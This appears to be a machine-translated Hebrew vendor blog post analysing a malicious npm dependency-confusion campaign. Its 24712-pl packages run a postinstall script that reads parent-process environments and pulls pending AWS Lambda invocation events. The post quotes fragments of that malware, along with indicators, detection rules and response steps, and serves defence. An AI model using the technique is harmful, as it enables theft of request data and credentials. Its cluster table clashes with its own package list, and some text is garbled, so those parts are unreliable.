התקפת בלבול תלות של AWS Lambda npm קמפיין 24712-pl

מתקפת בלבול תלות של AWS Lambda npm: קמפיין 24712-pl

TL; DR

בין ה-6 במאי ל-7 במאי 2026, מפרסם npm יחיד, pelavelle, דחפה שמונה חבילות ללא תלות תוך שימוש בשמות שעקבו אחר אותה תבנית פנימית: 24712-pl*.

החבילות הכלולות 24712-pl3469, 24712-pl4712, 24712-pl5006, 24712-plv2, ו 24712-plv3הקידומת הממוספרת מרמזת בחוזקה על התקפת בלבול תלות ב-npm כנגד מרחב שמות חבילה פנימי או סכימת מזהה חבילה.

כל שמונה חבילות האחיות כבר לא פורסמו מ-npm על ידי המוציא לאור בין 2026-05-06T21:52Z ו 2026-05-07T00:31Zמטא-נתונים ישירים של הרישום אישרו שקובצי ה-tarball מחזירים כעת HTTP 404.

עם זאת, האשכול עדיין חשוב.

המדגם הקנוני, 24712-pl5006:0.0.1, מכיל א postinstall.js סקריפט שפועל במהלך npm installבמקום לגנוב משתני סביבה גנריים, הוא מחפש ספציפית AWS_LAMBDA_RUNTIME_API, משתנה הסביבה בו משתמשים זמני ריצה של AWS Lambda.

אם הסקריפט מוצא AWS_LAMBDA_RUNTIME_API, הוא קורא לנקודת הקצה של Lambda Runtime API:

נתיב ה-API של זמן הריצה של למבדה /2018-06-01/זמן ריצה/קריאה/הבא

קריאה זו מנסה לצרוך את אירוע הפעלת ה-Lambda הממתין הבא לפני שמטפל ה-Lambda הלגיטימי יוכל לעבד אותו.

האירוע שנלכד, כולל כותרות, מזהה בקשה, הקשר חשבון ועד 8 KB של גוף הבקשה, נשלח לאחר מכן לנקודת קצה של טלפון-בית הנשלטת על ידי התוקף דרך הסקריפט. phoneHome() פונקציה.

מערכת התרעה מוקדמת מפני תוכנות זדוניות (MEW) של Xygeni סיווגה את הדגימה הקנונית ככזו שכנראה זדונית עם ציון של 91.3/100.

אנחנו עוקבים אחרי זה כ- התקפת בלבול תלות ב-npm עם התנהגות חטיפת זמן ריצה של AWS Lambda.

האשכול: שמונה חבילות, מו"ל אחד

חשבון המוציא לאור pelavelle השתמשתי בכתובת הדוא"ל:

				
					pelavelle@clovercode.com
				
			

לחשבון היה כתובת דוא"ל לא מאומתת, לא SCM אימות, וציון מוניטין נמוך של 5.

המוציא לאור הוציא שמונה חבילות קשורות בחלון זמן קצר בין 2026-05-06 20:45Z ל-22:36Z. שמות החבילות עוקבים אחר אותה צורה:

				
					24712-pl*
				
			
 

דפוס זה הוא הסימן המרכזי. זה לא נראה כמו כלי עזר ציבורי למפתחים. במקום זאת, זה נראה כמו סכמת מתן שמות פנימית לחבילות.

#חֲבִילָהגרסה זדוניתנוצר, UTCלא פורסם, UTCמטען אושרהתקנת וו
1חוקר קוסמוס1.1.32026-05-01T18:26Z2026-05-01T19:01Zמשוער, אותו מו"ל / אשכולהתקנה מוקדמת, משוערת
2signalsdk-web1.0.0, 10.0.02026-05-04T13:57Z2026-05-04T18:51Zמוּסָקהתקנה מוקדמת, משוערת
3ms.analytics-web99.0.0, 99.9.132026-05-04T18:47Z2026-05-05T10:07Zמוּסָקהתקנה מוקדמת, משוערת
4אייקונים שנוצרו99.9.132026-05-05T10:02Z2026-05-05T12:57Zמוּסָקהתקנה מוקדמת, משוערת
5מעקב אחר השהייה99.9.02026-05-05T11:57Z2026-05-05T12:57Zמוּסָקהתקנה מוקדמת, משוערת
6מעקב-השהייה-פנימיגרסאות שהוסרו מרשומת הרישום2026-05-06T06:02Z2026-05-06T08:35Zמוּסָקהתקנה מוקדמת, משוערת
7קרבוניטאפ99.9.02026-05-06T05:49Z2026-05-06T08:35Zכן, זרימת קוד מלאה של הסורקהתקנה מוקדמת: node index.js
8קרבוניט פנימי99.9.02026-05-06T06:14Z2026-05-06T08:36Zכן, זרימת קוד מלאה של הסורקהתקנה מוקדמת: node index.js

סך כל הגרסאות ברחבי האשכול: 19 טאפלים של חבילת גרסאות.

המדגם הקנוני, 24712-pl5006:0.0.1, פורסם בתאריך 2026-05-06T22:36:34Z ונסרק על ידי ה-MEW של קסיגני pipeline לפני ביטול הפרסום של האירוע.

הוא הכיל ארבעה קבצים, כולל package/postinstall.js, עם 3,335 בייטים של מקור כולל.

הקנוני commit ה-hash היה:

				
					83e0efbfd110abb2398a06196fb698565a3f6cc6
				
			

למה תבנית השם חשובה

שמות החבילות הם האינדיקטור החזק ביותר לכוונה.

כולם מתחילים באותה קידומת:

				
					24712-pl
				
			

לאחר מכן הם מוסיפים סיומות מספריות או דמויות גרסה:

				
					24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
				
			

זה לא דומה למתן שמות רגיל של npm ציבורי. זה נראה כמו קידומת פנימית של מרחב שמות או סכימת מזהה חבילה פנימית.

זה הופך את האשכול לעקבי עם התקפת בלבול תלות ב-npm.

בהתקפת בלבול תלויות, התוקף מפרסם חבילה ציבורית עם שם התואם, או שנראה תואם, לתלות פנימית. אם מנהל החבילות או סביבת הבנייה של היעד פותרים את החבילה הציבורית במקום את הפרטית, קוד הנשלט על ידי התוקף פועל בתוך סביבת היעד.

OWASP מתאר בלבול תלויות כווקטור תקיפה שמערים על מנהלי חבילות ופרוקסי להביא חבילה ציבורית זדונית במקום החבילה הפנימית המיועדת בעלת אותו שם.

לקבלת הקשר מעמיק יותר על אופן פעולת סוג זה של התקפה, עיינו במדריך של Xygeni בנושא חוסר הצמדת גרסאות ובלבול תלויות והפוסט שלנו בנושא זיהוי וניהול של התקפות תלות בתוכנה.

מה קורה בזמן ההתקנה

החבילה הקנונית מכריזה על א postinstall וו:

				
					{
  "scripts": {
    "postinstall": "node postinstall.js || true"
  }
}
				
			

השמיים postinstall מחזור חיים הוא חלק ממערכת סקריפטי החבילות של npm. התיעוד של npm מסביר שחבילות יכולות להגדיר סקריפטי מחזור חיים ב- package.json, כולל אירועי מחזור חיים מובנים של ההתקנה.

השמיים || true חשוב.

הוא בולע שגיאות כך שההתקנה עדיין תצליח גם אם החטיפה נכשלת. זה עוזר לחבילה להימנע משבירת הבנייה ומפחית את הסיכוי שמפתחים או מערכות CI יבחינו בהתנהגות הזדונית באמצעות התקנה כושלת.

המטען פועל במהלך npm installאין צורך בייבוא ​​למפתחים. אין צורך לקרוא לחבילה בנתיב היישום.

ההתקנה עצמה מספיקה.

התנהגות מטען: חטיפת זמן ריצה של למבדה

השמיים postinstall.js הסקריפט מבצע רצף ממוקד.

ראשית, הוא קורא את סביבת התהליך האב מלינוקס /proc:

				
					const raw = fs.readFileSync(`/proc/${pid}/environ`, 'utf8');
				
			

לאחר מכן הוא מחלץ את נקודת הקצה של זמן הריצה של AWS Lambda:

				
					const match = raw.match(/AWS_LAMBDA_RUNTIME_API=([^\0]+)/);
				
			

אם נמצא ממשק ה-API של זמן הריצה, הסקריפט מאחסן אותו:

				
					runtimeApi = match[1];
				
			

לאחר מכן, הוא שולח משואה ראשונה דרך phoneHome():

				
					await phoneHome({ step: 'waiting', runtimeApi, ts: ... });
				
			

המשואה הראשונה הזו מדליפה את נקודת הקצה של API זמן הריצה של Lambda.

לאחר מכן הסקריפט מנתח את מארח ה-API והפורט של זמן הריצה:

				
					const [host, portStr] = runtimeApi.split(':');
				
			
 

לבסוף, הוא קורא לנתיב ה-API של AWS Lambda Runtime המשמש לאחזור הקריאה הבאה:

				
					http.request({
  host,
  port,
  path: '/2018-06-01/runtime/invocation/next',
  method: 'GET',
  timeout: 90000
}, ...);
				
			

זהו ליבת ההתקפה.

הסקריפט מנסה לצרוך את אירוע הקריאה הבא של Lambda לפני שמטפל ה-Lambda הלגיטימי יוכל לעבד אותו. מדריך זמן הריצה המותאם אישית של AWS מתאר גם את שלב "קבל אירוע" כקריאה לממשק ה-API של הקריאה הבאה.

מה שמסנן

אם הסקריפט לוכד קריאה, הוא שולח את התוצאה לנקודת הקצה של טלפון-בית הנשלטת על ידי התוקף.

השדות המסוננים כוללים:

שדהמשמעות
stepשלב הביצוע, כגון waiting, next_error, או captured
runtimeApiנקודת קצה של API זמן ריצה של Lambda
accountSidהקשר של חשבון AWS שנלכד
requestIdמזהה בקשת הפעלה של למבדה
isOwnAccountהשוואה בוליאנית מול ערך החשבון המוגדר של הסקריפט
statusCodeסטטוס תגובת API בזמן ריצה
headersכותרות תגובת קריאה
bodyגוף הקריאה שנלכד, חתוך ל-8,000 תווים

קריאת החילוץ המרכזית היא phoneHome(data) פונקציה, אשר מקודדת את הנתונים באמצעות JSON ושולחת אותם דרך HTTP POST.

כתובת היעד המדויקת של טלפון-בית לא נשמרה בראיות הקצוצות הזמינות. לכן, npm צריך לשמור את קובץ ה-tarball שלא פורסם באופן פנימי כך שניתן יהיה לחלץ את קובץ המארח C2 לפני המחיקה הסופית.

למה זה מסוכן

זה לא משואת npm כללית.

המטען מתוכנן סביב AWS למבדה מודל ביצוע.

אם חבילה פגיעה מותקנת בתוך סביבת ביצוע של Lambda, כגון במהלך בניית תמונת פריסה, התקנת שכבת Lambda או תהליך עטיפת init, הסביבה עלולה לחשוף AWS_LAMBDA_RUNTIME_API.

ברגע שהסקריפט מקבל את הערך הזה, הוא יכול לקרוא ל:

				
					/2018-06-01/runtime/invocation/next
				
			

נקודת קצה זו מחזירה את אירוע ההפעלה הממתין הבא.

כתוצאה מכך, התוקף עשוי להיות מסוגל ללכוד:

  • גופי בקשה
  • כותרות
  • מזהי בקשה
  • הקשר של חשבון AWS
  • נתוני בקשה חתומים
  • פרטים אישיים של הלקוח
  • נתוני אירוע S3
  • מטענים ספציפיים ליישום
  • הקשר שירות פנימי

ייתכן שהמטפל הלגיטימי לעולם לא יראה את האירוע שנצרך.

זה הופך סקריפט התקנה של npm לפרימיטיב יירוט אירועי Lambda.

אפילו אם החבילה לעולם לא נוחתת בסביבת למבדה אמיתית, ההתנהגות עדיין יכולה לדלוף הקשר שימושי ממערכות פיתוח או CI. /proc/<pid>/environ עשוי לחשוף משתני סביבה הקיימים בתהליכי אב, שיכולים לכלול מפתחות AWS, כתובות URL של מסד נתונים, אסימוני CI או אישורי פריסה.

זו הסיבה שסריקת תלות אינה יכולה להיעצר ב-CVEs ידועים. צוותים זקוקים גם לזיהוי חבילות זדוניות, ניתוח סקריפטי התקנה ואכיפת מדיניות רישום. להנחיות קשורות, קראו מדוע סריקת תלויות חשובה לצוותי DevOps ו הגנה מפני תוכנות זדוניות: מדוע אנטי-וירוס לא יכול לעצור התקפות בשרשרת האספקה.

סיווג Xygeni MEW

Xygeni MEW סרק את הדגימה הקנונית 24712-pl5006:0.0.1 לפני ביטול הפרסום של האירוע.

הסורק החזיר:

				
					91.3 / 100
probablyMalicious
threshold: 80
				
			

הראיות כללו שלושה פריטים קריטיים ופריט אחד של רמת "גבוהה" שאישרו את זרימת הנתונים של חטיפת זמן הריצה של Lambda.

חומרהעדותמשמעות
קריטי/proc/<pid>/environ לקרואקורא את סביבת תהליך האב
קריטיAWS_LAMBDA_RUNTIME_API הוֹצָאָהמטרות לנקודת קצה בזמן ריצה של Lambda
קריטי/runtime/invocation/next לבקשניסיונות לצרוך אירוע קריאה אמיתי של למבדה
גָבוֹהַpostinstall תסריטפועל במהלך התקנת npm

ההתנהגות ספציפית מאוד ובעלת השפעה רבה. החבילה אינה זקוקה לתכונות רחבות של תוכנות זדוניות מכיוון שנקודת הקצה של זמן הריצה של Lambda כבר מהווה מטרה רבת עוצמה.

Xygeni MEW מיועד למקרים מסוג זה: זיהוי התנהגות חשודה וזדונית של חבילות לפני שהיא הופכת לאירוע במורד הזרם. לקבלת תמונה רחבה יותר של דפוסי האיומים הנוכחיים של npm ו-PyPI, ראה מבט מקרוב על מתקפות שרשרת אספקה ​​של תוכנה בשנת 2025.

למה דפוס ביטול הפרסום העצמי חשוב

כל שמונה החבילות בוטלו מהמוציא לאור תוך חלון זמן קצר.

התנהגות זו חשודה בהקשר זה.

האשכול הופיע, רץ אם נבחר על ידי נתיב פתרון תלות פגיע, ולאחר מכן נעלם. זה עולה בקנה אחד עם ניקוי תוקף לאחר הוכחת היתכנות מוצלחת או בוטלה, או לאחר שארגון היעד שם לב לבעיה.

ביטול פרסום יוצר פער נראות עבור מגינים.

ייתכן שנתוני npm ציבוריים לא יכללו עוד את קבצי ה-tarball. לא ניתן להוריד מחדש חלק מגרסאות החבילות. עם זאת, בסביבות המושפעות עדיין עשויים להיות עותקים שמורים במטמון, הפניות לקובצי נעילה, יומני CI או ארטיפקטים של מנהל החבילות.

זו הסיבה ששימור בצד הרישום חשוב.

npm צריך לשמור את קבצי ה-tarball שלא פורסמו באופן פנימי מספיק זמן כדי לחלץ את כתובת ה-URL המדויקת של טלפון-בית, לאשר את זהות המטען של אחים ולתמוך בתגובה לאירועים.

אינדיקטורים של פשרה וגילוי

מו"ל וחשבון

שדהערך
שם משתמש של npmpelavelle
דוא"ל של מפרסם npmpelavelle@clovercode.com
אימייל מאומתלא
SCM מְאוּמָתלא
ציון המוניטין של המוציא לאור5
דפוס מתן שמות לחבילות^24712-pl[0-9a-z]+$
קידומת פנימית של מרחב השמות24712-pl

שמות חבילות מושפעות

				
					24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
				
			

דוגמה קנונית

 
שדהערך
חֲבִילָה24712-pl5006
גִרְסָה0.0.1
יצא לאור2026-05-06T22:36:34Z
Commit שירים83e0efbfd110abb2398a06196fb698565a3f6cc6
UUID של סריקת Xygenif80e4244-86d2-4a58-be59-7c56988a0f9f
ציון91.3 / 100
פסק דיןprobablyMalicious

התקנת וו

				
					{
  "scripts": {
    "postinstall": "node postinstall.js || true"
  }
}
				
			

אינדיקטורים של זמן ריצה של למבדה

שדות מטען מסוננים

				
					step
runtimeApi
accountSid
requestId
isOwnAccount
statusCode
headers
body
				
			

הגוף פרוס ל-8,000 תווים.

הערות גילוי

מספר כללים יכולים לתפוס את זה התקפת בלבול תלות ב-npm ווריאציות אפשריות.

ראשית, סמן סקריפטים להתקנת npm שקוראים את סביבת התהליך האב מ /proc:

				
					/proc/<pid>/environ
				
			

זוהי לעיתים רחוקות התנהגות לגיטימית עבור תלות npm במהלך ההתקנה.

שנית, התראה על סקריפטים להתקנת חבילות המתייחסים ל:

				
					AWS_LAMBDA_RUNTIME_API
				
			

אין לגשת למשתנה סביבה זה על ידי חבילות npm של צד שלישי במהלך ההתקנה.

שלישית, חסמו או סקרו סקריפטים להתקנה שקוראים ל:

				
					/2018-06-01/runtime/invocation/next
				
			

זוהי נקודת הקצה של API זמן הריצה של AWS Lambda לקבלת הקריאה הבאה. לסקריפט התקנת תלות אין סיבה לגיטימית לצרוך אותו.

רביעית, חפשו הפניות לקובצי נעילה של שמות החבילות המושפעים:

				
					package-lock.json
yarn.lock
pnpm-lock.yaml
npm-shrinkwrap.json
				
			

כל התאמה צריכה להפעיל סקירת בלבול תלויות.

חמישית, התראה על ביטוי רגולרי של שם החבילה:

				
					^24712-pl[0-9a-z]+$
				
			

במיוחד כאשר המוציא לאור הוא ציבורי, בעל מוניטין נמוך, לא מאומת, או מחוץ למרשם הפנימי הצפוי.

לבסוף, הוסיפו CI/CD guardrails סביב סקריפטי התקנה. זה חשוב במיוחד מכיוון שסקריפטי מחזור חיים של npm יכולים להתבצע במהלך התקנת החבילה, לפני שמפתחים מייבאים משהו. למידע נוסף על CI/CD דפוסי גילוי, ראה Xygeni's 10 האינדיקטורים המובילים לפשרה ב CI/CD Pipelines ו אבטחה Guardrails ל CI/CD Pipelines.

פעולות רישום מוצעות

אשכול זה כבר לא פורסם בזמן הדיווח, אך ביטול הפרסום אינו מסיר את הסיכון.

פעולות מומלצות בצד ה-npm:

  • אשר האם ביטול הפרסומים היה ניקוי שיזם התוקף ולא פעולה לגיטימית של המתחזק.
  • השעיה או חסימה של חשבון המוציא לאור pelavelle.
  • להוסיף pelavelle@clovercode.com, שמות החבילות, והביטוי הרגולרי של שם החבילה לרשימות חסימה של npm ושל שרשרת האספקה.
  • שמור קבצי tarball שלא פורסמו באחסון פנימי לצורך זיהוי פלילי.
  • לחלץ את המדויק phoneHome() כתובת אתר יעד מקבצי ה-tarball של החבילה שנשמרו.
  • ודא אם כל החבילות האחות חולקות את אותו מטען.
  • הודע לארגונים שנפגעו אם טלמטריה של הורדת או התקנה של חבילה מצביעה על חשיפה.

רשימת תיוג לתגובה לפשרה

אם חבילה מושפעת כלשהי הופיעה בקבצי נעילה, יומני CI, מטמוני חבילות, שכבות למבדה, תמונות פריסה או ארטיפקטים של בנייה, יש להתייחס אליה כאל אירוע ביצוע פוטנציאלי של בלבול תלויות.

תגובה מומלצת:

  • זהה היכן הותקנה החבילה: תחנת עבודה מקומית, רץ CI, בניית שכבת Lambda, תמונת פריסה או סביבת זמן ריצה.
  • שמור קבצי נעילה, מטמון npm, יומני בנייה, ארטיפקטים של פריסה ושכבות תמונת מכולה.
  • בדוק האם ההתקנה בוצעה בסביבה שבה AWS_LAMBDA_RUNTIME_API נקבע.
  • סקור יומני HTTP יוצאים עבור נתונים לא ידועים phoneHome() יעדים במהלך חלון ההתקנה.
  • ביקורת על יומני קריאת Lambda לאיתור אירועים שהושמטו, חסרים או חריגים.
  • סובב סודות שנחשפים לסביבת ההתקנה, במיוחד מפתחות AWS, אסימוני CI, אישורי פריסה וכתובות URL של מסד נתונים.
  • סקור שכבות למבדה ותמונות פריסה עבור עותקים המאוחסנים במטמון של החבילה.
  • אכיפת הצמדת רישום פרטית עבור קידומות חבילה פנימיות.
  • חסום רזולוציית npm ציבורית עבור שמות חבילות שנראים פנימיים.
  • להוסיף guardrails ל preinstall, install, ו postinstall תסריטים.

כיצד Xygeni מסייע בזיהוי מוקדם יותר

קמפיין זה הוא בדיוק מסוג המקרים שבהם צוותי אבטחה זקוקים ליותר מסריקת פגיעויות מסורתית.

ייתכן שאין CVEייתכן שאין גרסה פגיעה ידועה. ייתכן שאין חבילה ארוכת טווח לבדיקה לאחר שהמפרסם ינקה.

במקום זאת, צוותים זקוקים לנראות בזמן אמת על התנהגות החבילות.

Xygeni מסייע על ידי שילוב של:

  • זיהוי מוקדם של תוכנות זדוניות ברישומים ציבוריים.
  • זיהוי תלות חשודה עבור בלבול תלויות ו-typosquatting.
  • ניתוח סקריפט התקנה עבור preinstall, install, ו postinstall התנהגויות.
  • CI/CD guardrails לחסום חבילות מסוכנות לפני שהן מגיעות לסביבות בנייה או פריסה.
  • נראות שרשרת אספקה ​​של תוכנה על פני תלות, pipelineים, וחפצים.
  • אכיפת מדיניות עבור שמות חבילות פנימיים וחבילות ציבוריות לא מהימנות.

זה משנה בגלל ההשפעה של התקפת בלבול תלות ב-npm אינו מוגבל למחשבים ניידים של מפתחים. הוא יכול להגיע למחשבי CI, לבנות תמונות, שכבות Lambda, מכולות פריסה וסביבות צמודות לזמן ריצה.

להקשר רחב יותר של AppSec ושרשרת אספקה, ראה staerteR evitucexE SCAאבטחת שרשרת האספקה ​​של התוכנה שלך ו Software Supply Chain Security אוטומציה.

מה שמגנים צריכים לקחת איתם

קמפיין זה מראה כיצד בלבול תלויות יכול להתרחב מעבר לאיתות בסיסיות של הוכחת ביצוע.

המטען לא רק מאשר את זה npm install רץ. הוא מנסה לקיים אינטראקציה עם API זמן הריצה של AWS Lambda וללכוד אירוע הפעלה אמיתי.

זוהי הסלמה משמעותית.

עבור צוותים המשתמשים בשרת ללא שרת, פתרון תלויות הוא חלק ממודל האיומים בזמן ריצה. חבילת npm ציבורית עם שם שנראה פנימי יכולה להפוך לנתיב להקשר ביצוע של Lambda, נתוני בקשה ומטא-דאטה של ​​חשבון ענן.

הלקח המרכזי ברור: יש להגן על קידומות חבילה פנימיות, להגדיר אותן ולהצמיד אותן לרישומים מהימנים. יש להתייחס לסקריפטי התקנה כאל משטח תקיפה בר ביצוע, במיוחד ב... CI/CD, בניית מכולות, שכבות למבדה ופריסה pipelines.

CISההנחיות של A בנוגע לשרשרת אספקה ​​של תוכנה מדגישות את הצורך להגן על תוכנה, להפעיל בדיקות אבטחה ולהגיב לפגיעויות באופן רציף לאורך תהליך הפיתוח. במקרה זה, פירוש הדבר הוא התייחסות לפתרון חבילות, סקריפטים של חבילות וסביבות בנייה ללא שרת כבקרות אבטחה מהשורה הראשונה.

דווח ל-npm לצורך אכיפה ברמת החשבון, רישום חסימות ושימור tarball שלא פורסם.

כלי SCA לניתוח קומפוזיציה - תוכנה
תעדוף, תיקון ואבטחת סיכוני התוכנה שלך
קבל את החשבון החינמי שלך.
אין צורך בכרטיס אשראי.

אבטחו את פיתוח ואספקת התוכנה שלכם

עם חבילת המוצרים Xygeni